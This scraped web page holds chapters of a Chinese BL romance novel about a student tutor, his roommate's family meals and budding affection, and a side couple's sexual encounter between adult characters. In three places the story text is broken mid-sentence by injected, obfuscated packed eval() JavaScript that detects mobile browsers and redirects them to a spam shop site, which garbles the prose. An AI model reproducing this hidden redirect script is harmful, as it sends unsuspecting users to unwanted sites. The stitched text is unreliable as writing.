“课间吃。”岑柏意把零食放车上,回头说,“岑念买的零食你不喜欢吃,给你另外买点。” 上次宁启洄从家里搜刮来一大堆零食,岑柏意见他吃得很香,但是到他家来了,那些零食也不怎么吃了。 几天观察下来,这人也不是假客气,单纯不喜欢吃岑念买的那些罢了,口味不同。 他对宁启洄那天带来的零食包装还有点印象,就照着买了。 宁启洄先是一愣,随即讷讷道:“给我买零食做什么……” 岑柏意挑眉,“难道你能忍受他清奇的口味?” 提到这个,宁启洄也不别扭了,他深有同感,用力点头,“就是说!谁会喜欢吃芥末味的薯片啊!①” 宁启洄还在碎碎念,见他的注意力不在这上面纠结了,岑柏意把车开出去,目不斜视,嘴角勾起一抹笑。 两人满载而归,而岑念在家饿得嗷嗷叫,已经吃过一轮零食了。 宁启洄再次跟进去帮忙,这回岑柏意都没让他碰刀,“你和面,做小猪的被子,剩下那点酵母全放完,别弄太大了。” 宁启洄谨记于心,勤勤恳恳开始和面。 虽然也是在面多了加水水多了加面的过程中反复横跳,面团逐渐开始膨胀,但宁启洄觉得,还是控制在了一个比较合理的范围。 这边已经做得差不多了,岑柏意一扭头,看见那一小团婴儿拳头大小的面团,微微沉默。 “还不错吧,小猪盖被!”宁启洄得意。 岑柏意轻声,“这是小猪盖帽。” 擀开都盖不满半口锅。 “……” 尼玛,说话好伤人。 宁启洄郁闷地看着岑柏意化腐朽为神奇,眼神逐渐好奇。 岑柏意笑了一下,端着莲藕排骨汤出去了,“这个也差不多了好了,你帮我端出去,小心烫。” 这顿午饭最终还是一点多才吃上,小猪盖被很好吃很入味,莲藕排骨汤很清甜,面藕也被拌成了凉菜,特地摆在宁启洄面前让他吃了泄愤。 两点左右,宁启洄起身准备继续上课,突然肚子开始绞痛,他忍着恶心感,冲进厕所一顿狂吐。 “怎么了?”岑柏意快步走进去,见宁启洄趴在马桶边快要吐晕过去了。 “我肚子痛,可能……”宁启洄眼眶泛红可怜巴巴地望着他,还没说完,又转头继续吐了起来。 岑柏意皱眉,再次拨响那个神秘号码。 没多久,敲门声响起,熟悉的陈医生又出现在了别墅门口。 陈湫镜温和的微笑下透露出一股扭曲:“你好,又见面了。” 他不气他不气,三倍工资,他不气…… 让人假期来加班的岑柏意摸摸鼻子,“他肚子不太舒服,一直在呕吐,麻烦你给他看看。” 别墅四楼是一整层医务室,基础检查设施都有,陈湫镜带宁启洄去做了套检查。 “你们中午吃了什么?”陈湫镜皱着眉问。 岑柏意一一说了,陈湫镜沉默地走到厨房,翻看打包好但没来得及扔出去的剩菜盒子。 几分钟之后,陈湫镜直起身,表情复杂,“可能是,豇豆没煮熟。” “那我怎么没事?” “这豇豆只有一点点没熟,你身体好不碍事,你同学肠胃不太好。”陈湫镜刷刷两下写了诊断书,推了推眼镜,“多喝温水缓缓就行,中毒症状很轻,等会吊个水。” “阿念需不需要看看?”陈湫镜问。 岑柏意:“不用。” “?”他还只是个孩子,就这么置之不理了吗? “他没吃那道菜。”零食吃饱了,只喝了汤。 “……” 吊完水,宁启洄也觉得自己好了不少。 他躺在沙发上缓了缓,顽强地去上课,岑柏意也没拦着。 为了照顾宁启洄的身体,晚饭熬了粥,香甜软糯,配了点清淡的小菜。 宁启洄再次感叹,岑柏意的厨艺真的很不错。 “今晚要留下来吗?”岑柏意收拾好碗筷,问道。 宁启洄摇头,“我已经好得差不多了。” “一定要回学校吗?”岑柏意见宁启洄点头后,想了想,说,“那今晚我和你一起回去。” 宁启洄再次摇头,“怎么能让阿念一个人在家,他一个小孩子,不安全。” 岑柏意淡淡道:“我叫几个保镖来看着他。” “?” “我不在他就能玩一晚上游戏,他才不介意。”岑柏意摇头,这事就这么定下来了。 23. 笑意 两人一起回了学校,回到宿舍楼下,那只大橘吨吨吨跑出来,亲昵地蹭了蹭宁启洄。 宁启洄摊手,“不巧,今天忘记买火腿肠了,要不你等等?” 他蹲下来,好声好气和大橘打着商量。 大橘也不嫌,乖乖蹭了蹭宁启洄的手。 “好乖!”宁启洄眼睛一亮,扭头冲岑柏意说,“你在这守着它一会行吗,我去小超市买点火腿肠。” “鳕鱼肠它吃吗?”岑柏意从包里掏出两根短短的鳕鱼肠,“岑念塞进来的。” “吃的。”宁启洄三下五除二拆了鳕鱼肠,一点点给大橘喂。 岑柏意想了想,也拆开喂了。 大橘左一口右一口的吃得不亦乐乎,吃开心了也会蹭蹭他的手。 岑柏意想,这应该,也算是一起喂小宠物了? “你喜欢小动物?”岑柏意看着宁启洄嘴角勾起的浅浅微笑,突然问。 宁启洄点点头,理所当然道:“谁不喜欢毛茸茸,太可爱了。” 他扭过头,嘴角笑意还没落下去,眼里满是温柔平和。 “宠物蛇,守宫这类爬宠不喜欢吗?” 宁启洄认真想了想,“还是毛茸茸比较好,能rua。” 岑柏意点点头,若有所思。 回了寝室,岑柏意再三叮嘱,不舒服就叫醒他,他带他去看医生。 宁启洄点头,躺下了。 隔着两层薄薄的遮光帘,宁启洄能清楚听见岑柏意翻身的动作。 布料摩擦的声音,敲击手机屏幕的声音,甚至轻微的呼吸声,他都能听见。 宁启洄有些睡不着,他瞪着眼睛熬了大半宿,这才困意来袭。 闭上眼之前,宁启洄想,岑柏意这人还怪好的嘞。 睡得迷迷糊糊,宁启洄总感觉有人隔一会就探探他的额头,摸摸他的肚子。 那只手很大,掌心有些热,盖在身上很舒服。 当那只手再次抚上他的肚子的时候,几乎是下意识的,宁启洄垂在身侧的手按了上去,不想让它离开。 热度源源不断传进腹部,确实很舒服很温暖。 身旁窸窸窣窣的声音突然全停下了,只有慢慢放缓但有些粗重的呼吸声响起。 过了不知道多久,那只手还是抽离了,失去热度,宁启洄不满地嘟囔几声,翻个身继续睡了。 耳畔似乎隐隐传来叹息声,宁启洄额头上被一个有些温热的东西触碰,软软的,有些干燥,但又有些湿润。 很轻很轻,像是一片羽毛落下。 —— 第二天一早,岑柏意就敲敲宁启洄的床把他叫醒。 宁启洄嘟囔:“闹钟没响,再睡会。” 岑柏意笑了一下,“是谁昨天点名要喝海鲜粥?今天早上要去买新鲜海鲜。” 宁启洄:“……岑念。” 带你弟弟去,求你了,我一点也不想起床。 “……”岑柏意挑眉,故意说,“那今天上午课不上了吧,你好好休息。” “?!!” 最后一丝良心尚未泯灭的宁启洄挣扎一瞬,还是起了。 直到到了市场,他才后知后觉意识到,这其实是黑心资本家岑老板的圈套罢了。 他胡乱扯了两件衣服套上,顶着一头睡得乱七八糟的头发去洗漱。 岑柏意眼神一错不错地盯着宁启洄,他被看得有些发毛,“怎么了?”他脸上有东西吗? 岑柏意又看了几秒,收回视线,“没事。” 还好,昨晚偷亲没被发现。 虽然只是亲了额头,但岑柏意从小到大都没干过这种事情,现在慌得要死。 其实他原本不准备这么干的,但昨天给他捂热肚子被抓住了手,那副完全信赖依恋的姿态,让他终究还是有点忍不住了,就亲了亲。 好在他睡得沉,岑柏意想,但庆幸之余,又有些空落落的遗憾。 岑柏意又看过去,视线停留在宁启洄头顶翘起的头发上。 他手指动了动,想给他抚平,就见宁启洄先一步用水胡乱抓了几下,翘起的发丝顺从地耷拉下来,他只能暗道可惜。 上次只是隔着假发摸了一下,有机会一定要亲自上手摸一摸,肯定和看上去一样软,他想。 去市场买了海鲜,两人回到岑家。 今天是假期最后一天,夏玥没出门,吃完饭就坐在小花园里下棋,岑柏意陪着一起下。 宁启洄安分了许多,他在家长面前可是个乖孩子,不能那么暴躁。 所以,当夏玥敲门进来送水果拼盘的时候,宁启洄很有礼貌地道谢,吃得都很拘谨,完美呈现了一个乖巧懂事不添麻烦的好孩子形象。 岑念:“?!!” 不是,小宁老师,前几天的你不是这样的! 夏玥轻轻蹙起眉,看着岑念叹气,“小宁老师,你性子太温和了,阿念要是不听话,你就找他哥管管他。” 宁启洄依旧乖巧点头。 岑念:“???” 谁? 谁温和? 这人连他哥都敢骂! 他还敢不听话?! 再说了,这可能是他未来嫂子呢! 岑念在心里小声嘀咕。 跟进来的岑柏意笑了一下,倒是一旁的夏玥看着有些惊奇。 她那跟面瘫似的大儿子总算有点人气了。 宁启洄:“……” 别笑了,他狐狸尾巴快藏不住了! —— 很快便到了中午,岑柏意提前问过几人要吃什么菜,厨房里传来食物热气腾腾的香气。 在岑柏意的坚持和夏玥的热情邀请下,宁启洄最终还是开启了他在学生家长面前的第一次蹭饭。 局促,但能吃。 宁启洄腮帮子塞得鼓鼓的,眼睛不住在桌子上扫荡,寻找下一个目标。 “小意也不用顿顿自己做,偶尔叫餐厅送就行,澜逸园和景琦轩都办了终身VIP的。”夏玥托腮看着满桌子菜,甚至还有精致的饭后小甜点,觉得这场景实在难得。 不放假的时候,家里阿姨做饭,放假了岑柏意一般也是叫餐厅送,自己下厨的机会很少,但做饭确实好吃。 这个国庆假居然连做了一个星期的饭?! 岑柏意又笑了一下,瞥了眼宁启洄,没接话,起身收拾碗筷进厨房了。 “……” 吃得一脸满足的宁启洄心虚低下头。 怪他,要求太多了。 岑柏意也提过叫餐厅送饭,但被他软泡硬磨拦下了。 没办法,毕竟有时候他家阿姨不在,苏女士就是用这两家餐厅来糊弄他的,一糊弄就是十几年,已经吃腻了。 没想到夏女士也这样,顿时,他看向岑柏意和岑念的眼神充满了同情。 夏玥盯着她大儿子的背影看了好几秒,表情逐渐疑惑。 又笑了一下? 她刚才说的话是有什么好笑的吗? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14012934|148622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >等岑柏意的身影完全消失在厨房门后边,夏玥嘟囔道:“又是这样笑……” 宁启洄闻言,扭头问:“哪样笑?”怎么了吗? 他回忆了一下岑柏意的刚才的笑容,不是很正常吗? “就是刚才那样,笑得就很,”夏玥试图解读,她斟酌措辞,“正常。” “?” 好新奇的夸赞方式,居然还是从一位母亲口中听到的。 “他平时不正常吗?”宁启洄咽下嘴里的饭后小甜点,诧异道。 他觉得岑柏意也就冷点吧,不爱搭理人,其实还是很好相处的,一个外冷内热的热血好青年! “平时他都不怎么笑的,除非阿念犯错误了。”夏玥吃了块小蛋糕,甜滋滋的。 “?” 宁启洄顿悟,冷笑,这是来自亲哥的冷笑。 夏玥突然靠近宁启洄,神神秘秘问道:“小宁老师,你说,小意是不是谈恋爱了?” 宁启洄正在喝水,闻言,呛水猛烈咳嗽几声,岑柏意听见了,从厨房走出来,手上还沾着水,“怎么了?” 宁启洄瞅了瞅岑柏意冷淡的脸,摆摆手,“没事没事,你继续忙吧。” 他甚至是想象不出岑柏意谈恋爱的情形。 不对,能想象出,他梦到过好几回…… 岑柏意盯着宁启洄莫名染上红晕的脸颊几息,点点头没说话,转身进厨房。 见他这反应,夏玥更好奇了,“真谈了啊?” 宁启洄第一反应是,夏玥是不是也看到了贴吧里的CP贴,但转念一想,如果真看到了,估计不会直接这样来问他。 心下稍安,宁启洄淡定回复:“我不太清楚。” 夏玥失望点头,但坚持不懈给他透她儿子的八卦,“那天,好像就是上周六晚上,十一点多的时候,小意下楼喝水,脸上的笑意藏都藏不住,问他是不是谈恋爱了,他也没否认,只是笑。” 宁启洄喝水的手一顿,上周六晚上十一点? 当时不就是他在和岑柏意进行毫无意义的幼稚表情包互偷大赛? 和他聊天,岑柏意笑什么? 想了想,宁启洄决定给岑柏意正名,“没有,当时他在和我聊天。” 夏玥失望:“噢噢。” 岑念眼冒金光:“噢噢噢嗷嗷嗷!” 收拾完的岑柏意走过来,“你鬼叫什么。” 岑念也不在意,开始明目张胆地八卦他大哥:“哥,上周六晚上你和小宁老师聊天啊?” 岑柏意莫名,看了眼宁启洄,见他点头,就说是。 岑念:“你们聊啥了?”是不是一些他这个小初中生不该涉及的领域? 想到后续那些打开新世界的同人文,岑柏意默了几秒,没说话。 宁启洄只当他是不想让岑念知道他们玩表情包互轰有损形象,只道:“小孩子家家的别管那么多。” 岑念闻言,眼中光芒愈盛:“!!!” 嗷嗷嗷!! 这是什么小孩子不能参与的限制级交流场面吗?! 话题就这么终结了,宁启洄拐着一脸吃饱瓜的猹模样的岑念去接受数学作业的洗礼,岑柏意默默回房敲代码。 客厅里又重回平静,巨大的水晶吊灯照耀,发出明亮但不刺眼的光芒 夏玥坐着沙发上,思考着刚才发生的一幕幕。 她总觉得哪里不太对。 两个大男生,半夜聊天,是有什么好笑的,能让她大儿子笑成那样? 24. 甜品 又到熟悉的教学环节。 在给岑念反复掰扯人称代词和物主代词的区别以后,宁启洄带着一身疲惫下楼干饭。 没有客人的时候,他们家并没有餐桌上不能交谈的规矩,而宁启洄混饭混熟了,显然不在“客人”之列。 岑柏意只安静听着,偶尔听到过于离谱的才会说一两句,夏玥也是,只温柔地笑着,不插嘴。 因此以前,大多是岑念单方面输出,夏玥偶尔应一两句。 现在宁启洄过来了,岑念自然终于有了话搭子,自然不肯放过,两人小声聊着。 “小宁老师,我们下个月有运动会,你要不要来看看?”岑念搅了搅碗里的汤。 “好啊。”宁启洄笑眯眯点头。 学校举办运动会,他和林枫晚每次都是半途就溜出去上网,还没正儿八经看过呢。 “小宁老师吃这个,我哥做的排骨可香了,我妈都说他肯定能靠这一手厨艺骗个老,嗯…追到对象。”岑念诡异地沉默一瞬,然后及时改口。 “……喔,挺好。” 他应该没听错,岑念刚刚想说的是“骗个老婆”? 不对,这和他有什么关系? 岑念笑眯眯的,“是吧是吧,我也觉得挺好吃。” 宁启洄点头,继续啃排骨,确实好吃。 坐在一边的岑柏意抬头看了他一眼。 “噢对了,假期结束要月考,到时候你去给我开家长会吧小宁老师?每次都是我哥去,他凶死了。”岑念小声告状道。 他们学校每次考完试都得开家长会,无非就是总结一下成绩然后定个目标,大大小小的家长会都是岑柏意去给他开。 岑先生远在国外,夏女士去学校一般是去捞人或者挨批,毕竟她也管不住岑念,只有岑柏意能镇压造作的岑念,让岑念老老实实待在教室里配合老师的工作。 “安静吃饭。”岑柏意忍无可忍,开口提醒。 岑念闭嘴,世界和平。 今晚又做了宁启洄爱吃的鸡蛋羹,他小口小口吸溜着。 “凶还不让说,怕小宁老师嫌弃你吗。”岑念悄咪咪开口,只有离得近的宁启洄听见了。 被这话惊了一下,宁启洄一个没注意,咬到了舌头,眼眶瞬间红了。 “怎么了?”坐在他边上的岑柏意最先注意到。 “……”总不好说是你弟弟在yy咱俩。 宁启洄轻轻吸气,让凉凉的空气充斥口腔,缓解舌尖的疼痛。 夏玥也看过来,“小宁老师咬到舌头了吗?” 宁启洄边吸气边点头,瞬间的钻心之感已经缓解,但舌尖敏感的神经依旧在不断向他传递疼痛。 岑柏意轻轻拧眉,一言不发起身去了某个房间,没过多久,拿了药出来。 他捏住宁启洄的下巴,目光沉沉,“张嘴。” 宁启洄刚要拒绝,说让自己缓缓就好,抬眸就瞥见他眼底阴沉沉,似乎凝聚起一片风暴。 他识相地把话咽进肚子里,听话地张开嘴。 一小截粉.嫩的舌尖从嘴里伸出,最前端有一小点红色的痕迹,破了口子,在往外渗血。 暴露在空气中的干燥不适感,让宁启洄舌尖动了动。 岑柏意垂眸,对上宁启洄眼眶里含着没掉出来的泪珠。 喉结动了动,他撒上药粉,声音低沉,“别乱动。” 白色药粉敷上伤口,带来冰冰凉凉的刺痛感,宁启洄轻轻“嘶”了一声。 刚要收回舌头,就被岑柏意捏着下巴,语气不容拒绝,“敷一会再收回去。” “吼(好)。”极其模糊的声音从喉咙里发出,像是受伤小兽的嘶吼,带着点委屈的奶气。 “晚饭先别吃了。” “唔?(嗯?)” “你舌头疼。”岑柏意看着那一小截敷着白色药粉的殷红舌尖,抿唇道,“回去给你带吃的。” 围观全程的夏玥再次感觉到哪里不对劲,吃瓜吃到撑的岑念兴奋瞪眼,碗里的饭也不吃了。 含了一会,宁启洄默默看着他们吃得香喷喷,自己望着碗里没吃完的软嫩鸡蛋羹和红烧大鸡腿,不住咽口水。 有种太监逛青楼的渴望和无力感。 “小宁老师以后补完课,留下吃了晚饭再走吧。”吃完饭,夏玥笑意盈盈把宁启洄送到门口。 由于岑念之前实在没怎么学,他们商量把补课时间延长到五点,也就是每周三个小时。 想到刚才被人家大儿子拖去上药的画面,宁启洄一阵惊悚,刚要拒绝,就听岑柏意拎着什么走过来。 他淡淡道:“我不回来他吃得不自在,我在家再留下吃。” 宁启洄:“?” “我做饭。”他补充道。 宁启洄咽了咽口水,可耻地心动了。 夏玥:“???” 好像哪里怪怪的。 夏玥看了几眼自己的大儿子,后者面色如常,她又觉得是自己想多了。 只能把这归为情比金坚的同学友谊。 正说着话,岑柏意把手里的盒子递给宁启洄,“饭后甜点,回去吃。” 宁启洄瞥了眼,是他爱吃的芋泥千层。 这男人真是该死的贴心。 看着岑柏意把他送到小区门口去坐车,夏玥刚松开的眉头又皱了起来,总觉得她大儿子这副模样有点眼熟。 像是……送丈夫出去上班的贤惠妻子,甚至准备好了午餐便当。 什么乱七八糟的。 夏玥看了看自己又恢复高冷的大儿子,把脑海里的想法驱逐出去。 宁启洄回到寝室,扒拉出镜子对着自己的渗透,伤口好了不少,只隐隐有些刺痛。 他觉得很OK,并且解决了那份芋泥千层。 芋泥很细腻,保留了一些芋泥的颗粒感和清香,奶油也没有过分的甜。 简而言之,这是一份很符合他口味的完美甜品。 就在这时,岑柏意正好发来了消息。 【cby】:甜品好吃吗? 宁启洄随手夸道。 【岁岁平安】:一百昏! 【cby】:满分多少? 宁启洄心头一动,没想到岑柏意居然还真配合起他了 【岁岁平安】:你多少分,满分就多少分。 【cby】:下次还给你做。 很简单的一句话,宁启洄居然能读出一种来自对面的诡异的愉悦感。 他刚要假客气一番,又回味起这几天吃过的美味甜品。 无法拒绝的诱惑。 【岁岁平安】:谢谢岑大厨~(团子比心.jpg) 手机这边的岑柏意看着那炸毛的软萌Q弹白团子伸出小短手,笨拙地冲他比了个心,心里像是被什么东西打了一拳,突突的。 他抿唇,耳尖微微泛红。 【cby】:(团子比心.jpg) 岑柏意等了许久,见对面没有再回复,犹豫片刻,点开对面的个人资料卡片。 他把那个原始的微信网名改了备注:【岁宝】 改完,他心满意足勾起嘴角,随即拉平,默不作声走向岑念的卧室。 “下次家长会想让小宁老师去?”岑柏意敲敲门,声音突然出现。 岑念被吓了一跳,眼疾手快关上了电脑。 “你在做什么?”是有什么见不得人的? 岑念默了默,机智地转移话题,“哥,你找我干什么?” 岑柏意看了他几秒,回到了刚才的问题,“下次家长会叫你小宁老师去?” 岑念:“……难道,不可以吗?” 他大哥不会是来秋后算账的吧? 他咽咽口水,刚想解释说他没有太凶,他去也可以的。 就听他大哥继续道:“可以,我和他一起去。” 岑念眼睛一亮:这是什么必不能错过的培养感情的好机会! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14012935|148622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “……你这是什么表情?”岑柏意皱眉。 岑念收敛了一下自己看到粮仓放粮的表情,矜持点头,“那行吧。” “嗯。”岑柏意放下果汁,给他带上门,“别说我提的。” 岑念:“……” 不说,他怎么知道你的心意? 岑念眼珠子滴溜溜转,自有自己的一套打算。 等确定岑柏意离开了,岑念悄悄松了口气,打开电脑屏幕,赫然是一个对话框: 【暗夜炽天使】:南宫雪,在不? 【南风雪儿】:岑念怎么了?(好奇) 【暗夜炽天使】:你上次不是说,你哥在追你嫂子吗,咋追的? 【南风雪儿】:你该不会有喜欢的人了吧?可可会伤心的!(愤怒叉腰) 【暗夜炽天使】:别瞎说,我帮我朋友问问。 【南风雪儿】:唔,一时半会说不清楚,明天上学了我跟你讲,你下课找可可换个位子(嘻嘻) 【暗夜炽天使】:完全OK。(暗夜旋风离场.jpg) 【南风雪儿】:拜拜。(雪花飘散.jpg) 岑念低声念叨:我这可都是为了你啊,我的孤寡老大哥! —— 晚上八点多,宁启洄打游戏打累了,去阳台上放风,突然瞥见楼底下有一个熟悉的身影。 是岑柏意。 他身前几步远还有个女生,从上往下看不太清脸,只能看到是长头发,染了点亚麻棕色,发尾做了卷发造型,很好看,是大学女生流行的发型。 两人聊了几句,宁启洄还以为是他们班同学来找他了,正准备回寝室,突然看见女生从兜里掏出一个信封,粉色的,画了爱心的。 “……”这一看就是情书。 宁启洄决定再看看。 岑柏意没收她的情书,女生又说了什么,他还是摇头,转身进了宿舍。 等那女生离开以后,宁启洄才慢慢转身回了寝室,坐在座位上屈起腿,一脸深思。 没过多久,宿舍门从外面被推开,岑柏意走进来。 岑柏意把食盒放在他桌子上,宁启洄眼神询问。 他淡淡道:“顺路给你打包的饭菜,你晚饭不是没吃饱吗。” 何止是没吃饱,吃个排骨吸溜两口鸡蛋羹就咬舌头了。 宁启洄瞥了眼食盒顶上篆刻的几个字——澜逸园。 哇偶,澜逸园离大学城可不近,在云锦天城别墅区还往那边去一段距离。 这可是完全相反的方向,哪里顺路了。 心中微微一动,见他如此心善,本来不打算管的宁启洄犹豫了一下,还是说:“岑柏意,你,你不能早恋。” 他想到夏玥对他说的八卦,他决定提点一二,以免被他的老母亲发现。 从上次夏玥的反应来看,似乎对上次大半夜跟岑柏意聊天的疑似网恋对象很不满(划掉,很八卦),他得好好保护他的好舍友。 岑柏意一愣,挑眉道:“什么早恋,我上半年就过完十九岁生日了。” “……”大意了,最近被岑念追问恋爱问题的魔音洗脑了。 宁启洄沉吟片刻,依旧坚持,“不建议你现在谈恋爱。” “哦?为什么?”岑柏意歪头看他,似乎饶有兴致。 半晌,宁启洄还是把这个悲痛的事实讲给他听,“夏姐可能不会同意。” “……” —— 今天是假期最后一天,江千陵和林枫晚都回来了,而且是一前一后同时到的寝室。 “你们俩拼车回来的?”宁启洄抬头,问了句。 林枫晚诡异沉默,“算是吧。” “?” “我家司机把我们带回来的。”江千陵随口道。 “??”你们关系什么时候这么好了? 看出宁启洄的疑惑,林枫晚道:“我们在一起了。” “???” 25. 搭车(副CP) 寝室里突然弥漫了一股恋爱的酸臭味,宁启洄把林枫晚扯到阳台上。 “你不是说他骗了你?”宁启洄叉腰,语气严肃。 面对宁启洄,林枫晚还是很老实的。 “骗归骗,不耽误谈恋爱。” 宁启洄狐疑地看了给几眼,怀疑之前那个受不得骗的纯情炸药桶被下蛊了。 “不是说恋爱矢志不渝,不能有欺骗的?”这是林枫晚十八岁生日那天,偷摸跟宁启洄说的,据说是他以后找对象的原则和底线。 林枫晚默了好几秒,艰难开口道:“他长得帅吧可能。” 个中原由,不足为外人道也。 虽然宁启洄不算外人,但林枫晚还是决定不给他说了,以免玷污这朵未成年小白花的脆弱心灵。 “……”不是,你的语气好像不太对,要是被逼的就眨眨眼。 “……你们属性也不一样。”宁启洄表情复杂,努力回想那个炸毛跳脚的林枫晚。 和眼前这个不说一模一样,简直是毫无关系。 提到这个,林枫晚冷漠的表情一变,颇有些咬牙切齿的意味。 他冷笑道:“我下次一定反攻!”看我干不干这孙子就完了。 宁启洄:“……?” 下次?你们上次干了什么? 短短七天,你们好像发生了很多事情。 意识到自己和黑恶势力达成的邪恶交易似乎一不小心被说漏嘴了,林枫晚干笑两声,急忙转移话题。 “阿宁,我去D市带了好多特产回来,去看看不?” 宁启洄:“……”话题转得过于生硬了。 与此同时,310寝室内部也在进行一场有些严肃的对话。 江千陵:“进展怎么样?” 他没指明是什么,但两人都心知肚明。 这次岑柏意没像以前那样沉默,他已经想清楚了。 “还行。” 江千陵有些意外地挑眉,“还行是哪样,牵手了还是亲嘴了?” 岑柏意蓦地想到宁启洄发烧的那天,两人都是一身凌乱地从床上爬起来,宁启洄还穿着他的睡衣。 眼前一晃而过的白皙皮肤,那双湿漉漉的眼睛,凌乱的床单被褥……这一切都在无声展露着暧昧与情感。 他们同吃同住甚至同睡了。 但是,没牵手,也没亲嘴。 他默了默,微微抿起唇。 江千陵似乎也明白了什么,诡异地沉默了。 寝室里弥漫着一股难言的气氛。 半晌,岑柏意瞥了眼阳台上的两人,分了点视线给林枫晚。 江千陵顺着视线看去,嘴角抽了抽。 “别指望他,我和宁启洄之间,他肯定选宁启洄。”江千陵很有自知之明,无奈道。 这人现在只怕是恨不得干死他,是的,那种“干”。 “……”没用的家伙。 江千陵读懂了他好兄弟的眼神,敢怒不敢言:你行你上! 这边,两人交谈完回了寝室,林枫晚准备开始讲述那凄美又潦草的爱情故事。 宁启洄突然瞥见林枫晚脖子上的大大小小的红痕,皱眉道:“云城现在这么多蚊子?” 林枫晚回头,“嗯?” 宁启洄指了指他的脖子,“你被咬了好多包。” 其他三人:“……” 江千陵赞叹地看了眼岑柏意:他还真是纯得清奇。 岑柏意:…… 看了不少同人文(划掉,小黄文)的宁启洄后知后觉意识到这是什么,脸一红,看了眼林枫晚。 “……” 故事开始。 事情是发生在昨天晚上的。 当时,看完爷爷奶奶即将回A市的林枫晚和他妹妹赶到了机场,准备坐飞机。 不巧,因为恶劣天气,航班取消了。 林枫晚和林若锦拉着行李箱站在机场里有些彷徨,浑身笼罩着无言的悲伤。 最近回A市的航班只有明天下午的,估计半夜才能到。 订了票,林枫晚就近找了个酒店,带着林若锦一起住了进去。 睡着睡着,大半夜,林枫晚被滴滴声吵醒。 他面前睁开眼睛,瞥见短信,整个人都清醒了。 林枫晚:D市航空,我草你妈! 几分钟以后,他臭着脸出现在走廊上,去敲隔壁林若锦的房门。 “妈的,航班又取消了。”林枫晚阴沉着脸。 林若锦倒不是很担心,她的头发绕在指尖,不经意转了转,“那就请几天假,再玩几天呗。” 林枫晚:“……复课了要体测,你怕不是失了智。” “……”是哦。 “可以让爸爸申请航线,找人开私人飞机来接我们。” “现在已经快凌晨了,我觉得是来不及了。” “……”也是。 两人在走廊上对视好几分钟,准备回房休息。 事已至此,先找辅导员请假吧。 体测的事情,先缓一缓。 见林若锦关了门,林枫晚也转身回房。 就在他进入房间的一刹那,有道声音从一旁传来。 “林枫晚?” 就很熟悉,也很欠揍。 扭头,那张嚣张的混血脸冲他过来了,一双满是风情的桃花眼眨了眨,“还不回学校?后天要上课了。” 林枫晚:“……”好问题,问到点子上了。 是他不想回吗? 突然想起最近的恶劣天气,航班肯定飞不了,江千陵眯眼笑了笑。 林枫晚翻了个白眼,准备关门,却被江千陵抵住。 “干什么?” “来者是客,不请我进去坐坐?” “……”见了鬼的来者是客。 两人对视几秒,林枫晚懒得管他了,江千陵亦步亦趋跟着走进他的房间, 江千陵看着和自己套房一模一样的布局,他眯了眯眼,不知道在想什么。 林枫晚直接无视他,走进卧室。 江千陵跟进去,就见林枫晚臭着脸看他,“怎么,跟我回房间了不行,还想和我一起睡觉?” 江千陵惊讶,“有这么好的事情?那就却之不恭了。” “……”这狗比是真不要脸啊。 无视林枫晚谴责的表情,江千陵笑眯眯的,“我开车来的,要不要做个交易?” 这个交易,就是大家一想就能想到的那种很不正经的py交易。 林枫晚眯起眼,打量了一下江千陵不比自己高太多的身板,觉得自己还是有扑倒他的可能性。 不得不承认,这骗他一颗初恋心的大骗子长得确实不错,男女通吃。 睡一觉,不亏。 只不过搭车这件事情,他觉得,还是找导员请假来得靠谱。 毕竟江千陵要是被他上了,别说搭他,不打他已经很好了。 想象很美好,林枫晚甚至在脑海里搜刮了几个小电影里看过的姿势,准备用上。 然后,场面有点一发不可收拾。 简而言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14012936|148622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之,他被日了。 他打不过江千陵,被按着干了好几轮。 基本上在:反抗——被日——试图反压——被日——再反压——再被日……的循环中,过了三个小时。 “六点出发,晚上能到。”一脸餍足的江千陵收拾好凌乱的场面,看着躺在床上浑身红痕牙印的林枫晚,突然笑了,凑近他耳畔低声道,“你这样,好像是出卖□□求我搭你上路啊。” “我像趁火打劫的无良司机,你是屈辱但不得不顺从隐忍的良家妇男。”江千陵笑眯眯的。 “给老子滚。”林枫晚踹了他一脚,没好气道。 一抬脚,又扯到屁股,疼痛让他龇牙咧嘴的,看着有些扭曲。 江千陵摇摇头,“啧啧啧,真无情,一夜情一夜情,这才半夜就嫌我了。” 林枫晚:“……”如果不是你长得帅,现在已经被我按在地上锤了。 “行了行了,睡觉。”说着,江千陵爬上床,准备搂着林枫晚睡。 林枫晚伸手抵着他肩膀不让他靠近,咬牙切齿道:“让你睡就不错了,别得寸进尺啊!” 江千陵若有所思,“所以睡你不算得寸进尺?那再来一次。” 林枫晚抬手摸到个用过的小雨伞,湿湿的,反手砸在江千陵脸上。 “……”脾气挺大。 